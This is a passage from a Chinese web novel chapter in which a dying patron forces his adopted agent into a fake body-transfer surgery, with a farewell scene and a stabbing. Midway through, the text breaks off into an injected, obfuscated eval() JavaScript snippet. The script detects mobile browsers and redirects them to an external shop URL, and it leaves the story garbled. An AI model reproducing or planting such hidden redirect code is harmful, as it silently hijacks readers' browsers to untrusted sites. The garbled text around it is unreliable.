透明的玻璃幕墙,是毫无尊严的牢房。
不听话的孩子会被关在里面,亲眼看着外面的人受罚。
此时此刻,宁万般就是那个不听话的孩子。阿洛夏抓着她,困在玻璃后面。
菲尼克孜坐在属于他的“皇位”上,被手下众人团团簇拥,觅雅站在最核心的位置。
“那个女人犯什么错了?值得把她关进那种地方?放她出来吧,我可以替她受罚。”游锦试图用玩笑来缓解紧张的气氛。
“叫你来不是要惩罚你的,是要邀请你成为伟大计划的参与者。柏羽哥哥,我们都将以你为荣!”觅雅代替菲尼克孜发言,她的声音洪亮又稚嫩。
“这话说的,我怎么越听越糊涂了?”游锦冷笑一声。
“没有人可以对抗时间,柏羽——”菲尼克孜终于开口解释,他一说话就滔滔不绝。
“我已经老了,现代医学治不好我的病。可我不甘心就这样走向落幕。我想在我最后的时间做点什么,给这个世界留下点什么。我想接受临床实验,成为‘灵魂注采’的先驱者!”
“自人类诞生那一刻起,多少帝王将相穷尽一生去追求永生,最终都被历史的风沙掩埋。身体的腐朽无法逆转,但灵魂可以在全新的躯壳中苏醒。这是一项伟大的技术!指引我们突破人体极限,成为新时代的神明!”
“柏羽,我可以给你这个机会,让你和我一起,推开禁忌的大门。让我们的名字,在森港,不,在全世界——流芳百世!!!”
老人的演说极具煽动性,游锦站在他面前,完全被气势碾压。
“游锦!别听他胡说!”宁万般用力拍打玻璃,“医学的发展是为了救人,让人能活得更自由!如果要以牺牲普通人为代价来挽救上位者,那这样的医学就不应该存在!”
没有理会女人的胡言乱语,菲尼克孜看着游锦,目光无比笃定:
“当我向林靖霄提出我的设想,他起初并不反对。他接受我的资助,成立课题组。可穹顶的人太自私,不愿意将技术信息共享,我只好派你去偷,去抢,去骗,怎么样都好。无论采取何种手段,都是为了推动医学技术进步!至于伦理道德,那是后人需要去考虑的事。”
“说来说去,就是想要我的身体?”游锦缓缓点了根烟抽,“为什么是我呢?阿洛夏比我更年轻,不是吗?”
“我说过,柏羽,你是我最看重的孩子。这么多孤儿里面,你最像我。聪明,叛逆,有反抗的勇气!如果一定要选择一个孩子作为容器,那一定是你!”
“我都不知道,自己还有这么多优点……”游锦笑了,“如果我不答应呢?”
“那我也可以把你绑上手术台。”老人勾起嘴角,露出洁白的牙,无限狡黠。
匕首闪出,利刃贴在脖子上,游锦歪头坏笑:“要是我死了怎么办,还能手术吗?”
菲尼克孜脸色一沉,他瞥向阿洛夏。
“啊————————”
宁万般的尖叫,透过防弹玻璃,闷闷的声线,更显惨烈。
阿洛夏的刀子刺入脊背,剜出血肉。
刀子拔出来,她跪倒在地,虚汗冒出来,浑身颤抖,再也叫不出声。
“书遥!”持刀的手抖了,游锦看向宁万般。
“不想她吃苦的话,就把刀交给我吧。”菲尼克孜向游锦伸出右手。
“不行,不能给他!”宁万般挣扎着喊,“就算你把身体交给他,他也不会放过我的!游锦,不要冒傻气!他承诺你的好处,哪一次兑现过?你还欠我一条命,我不许你死!!”
缓缓地,右手垂下,匕首滑落在地。
“很好,这才是乖孩子。”老人又露出白牙。
“可以给我一支烟的时间,和书遥好好告个别吗?”
菲尼克孜被人护着,坐轮椅离开,阿洛夏还守在玻璃缸门口。
宁万般哭了,她贴在玻璃上,呼吸泛起白雾。
“命是我欠你的,我应该还给你。”
“游锦——”宁万般一直哭。
右手,按在玻璃上,和女人的掌心重合。
真想牵着你的手,和你一起漂泊在森港街头。
还想把下巴靠在你的头顶,抱着你一起去山顶看星星。
幻想过把戒指戴上你的手指,在所有人的祝福下,看你穿着白纱,为我而来。
品妍、觅雅、佑利、就连阿洛夏,也可以环绕在我们身边,你哭的像个孩子,就像现在这样。
“书遥,其实我一直都很后悔。我后悔欺骗你,带着目的去接近你。我对你说谎的时候,每一次,我心里都很难受。可是我又不得不那样做……”
“别说了,我已经原谅你了!”宁万般抽泣着,用力敲打玻璃,“不要死,游锦——活下去,我们重新开始!”
游锦抬头看她,忽然笑了一下。那个笑不好看,比哭还难看。
“你记不记得我们第一次见面?”他问。
“在森港的游轮上。”她答,“你走过来和我说,小姐你很漂亮,可以交个朋友吗?”
“你当时怎么说的?”
“我说,滚!”
游锦笑出了声,带着泪和鼻音:“然后我天天缠着你,你终于肯和我吃饭了。”
“我带你吃学校的麻辣烫嘛——你吃了一百多块钱,差点给我吃破产!”
“一百多块都不给吃,抠死你算了!”游锦嘲笑她。
“那我是穷学生嘛——森港的物价有多贵,你又不是不知道!”
“最后,不还是我买的单,我的人设可是高富帅,怎么可以让女孩子花钱?”游锦笑着吐槽,“后来你肠胃炎,还是我背你去的医院。上吐下泻,弄的到处都是,你趴在我背上说:游锦!你要是敢把这件事说出去,我就杀了你!”
“这种糗事你记他干嘛?赶紧忘掉吧!”
“我记得,和你在一起的每一个细节,我都记得!”男人抬起头,注视她的眼睛。
“游锦——”她还是习惯喊他这个名字。只有和游锦在一起的时候,她才是林书遥。
“书遥,我爱你。”游锦哭了,他的眼泪落下,他终于有勇气说出那句话,“我知道,我没有资格这么说。无论我做什么,都没有办法弥补。如果有来生,别再遇到我了……”
男人说完,在玻璃上,轻轻亲了一下。
冰冰凉凉,是触碰不到的温度。
烟落在地上,熄灭了火星。
骤地,玻璃变成磨砂。
阿洛夏抓着宁万般,把她拖了出去。
“游锦——游锦——”她还在拼命地喊。
在这个世界上,只有林书遥记得他,记得这个名字,这个身份。
——只要书遥还记得他,他就永远都在。
“走吧,少爷。该上路了。”
躺在手术台上,游锦的眼前浮现出人生碎片。
一场车祸,送走了爸爸妈妈,他和品妍被送进孤儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969578|211736||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
院。
被凤凰相中,被带回庄园,被赐予代号,接近林书遥,爱上林书遥……
亲手害死最爱的人,害死昆仑,害死袁叶子辰,变得麻木不仁……
他做过的坏事太多了,落得如今下场,也是罪有应得。
终于可以休息了。游锦,你自由了。永远地自由了。
麻醉吸入口鼻,意识渐渐模糊。
“安心地去吧,孩子,我会替你照顾林书遥的。”凤凰的笑容出现在面前:“等我换进你的身体,她就是我的女人了!两个实验体的结合,才是最完美的结局!”
“这才是,你选择我的,真正的理由……”游锦的眼睛好沉好沉。
凤凰的声音,似魔鬼低语:“最后告诉你一个秘密!许柏羽,你的父母,也是我杀死的!”
父母?游锦的视线在麻醉气体中涣散。
他拼命喘气,浑身发抖,使不出一点力气。
被抹掉的姓氏,被抹杀的真相,事实就摆在面前,是他一直视而不见。
新闻播报:“近日,森港市港口区发生一起严重车祸,制药公司董事长许明远同其夫人不幸遇难。据悉,此次事故或与EMC医疗财团的并购案有关,事故原因还在进一步调查……”
对啊,他姓许啊,他想起来了。
许柏羽,许品妍。幸福的四口之家,支离破碎。
老头子却要以恩人自居,占据他的身体,抢走他的爱人……
“我要杀了你……菲尼克孜……我一定要杀了你!!!”
“已经,太迟了。”
看见游锦失去意识,菲尼克孜躺上手术台。
“宁万般很安全,她被我藏起来了,只有我知道她在哪儿。等我拥有了新的身体,自然会去找她。我还要和她结婚呢!”老人发出嗤笑,“不要妄想搞那些小动作!任枫,我已经做好万全准备,如果我醒不过来,你就再也别想见到那个女人!”
滴答——滴答——
仪器记录着心率,菲尼克孜已昏然睡去。
觅雅在楼上的玻璃窗监视,时间一分一秒度过,她透过麦克风给任枫施压:“可以开始手术了吗?任枫——还在那愣着干嘛??你不想见到宁万般了
吗???”
“既然他已经睡过去了,那我也只好坦白……”任枫双手高举,“手术我不会做。我是骗你们的!”
“什么??”觅雅不敢相信自己的耳朵,她冲身边的守卫使了个眼色。
“别进来!”任枫也给乔茗冉使了个眼色,女人立刻明白,手术刀对准老人的脖子。
任枫说:“现在,他的命在我们手上。可以谈条件了吗?说,宁万般在哪儿?!”
攻守瞬间逆转。
“不会手术?那是什么意思?你的意思是,根本就没有灵魂注采技术???”觅雅的认知受到冲击,她喃喃自语,“那也就是说,父亲的病是治不好的,他就算醒过来,也很快就会死??”
“是这个意思。”任枫回答。
“你不会是在骗我吧?”觅雅紧张地喘。
“他没有骗你,真的是,伪造的……大家都知道……”乔茗冉的额头冒汗。
伪造的,伪造的?怎么会是伪造的呢?
如果父亲醒不过来,那他承诺给她的校园生活怎么办??
一旦财团被菲尼克孜的亲生子女掌控,她就会立刻被扫地出门,她还怎么保持原来的生活水准?她还能去哪儿呢??